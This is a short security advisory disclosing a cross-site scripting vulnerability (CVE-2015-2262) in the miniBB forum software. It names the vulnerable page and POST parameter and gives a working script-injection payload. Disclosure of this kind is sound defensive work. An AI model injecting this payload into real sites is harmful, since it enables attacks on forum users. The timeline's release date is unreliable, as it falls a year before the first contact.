Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in miniBB
Affected Software: miniBB
Affected Versions: 3.1 and possibly below
Vendor Homepage:
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE-ID: CVE-2015-2262
Invicti Advisory Reference: NS-15-006

Technical Details
Proof of Concept URLs for XSS in miniBB:

Page: bb_admin.php
Parameter Name: topic
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x005F12)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
05/03/2015 - First Contact
10/04/2015 - Vulnerability fixed
14/04/2014 - Advisory released


Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.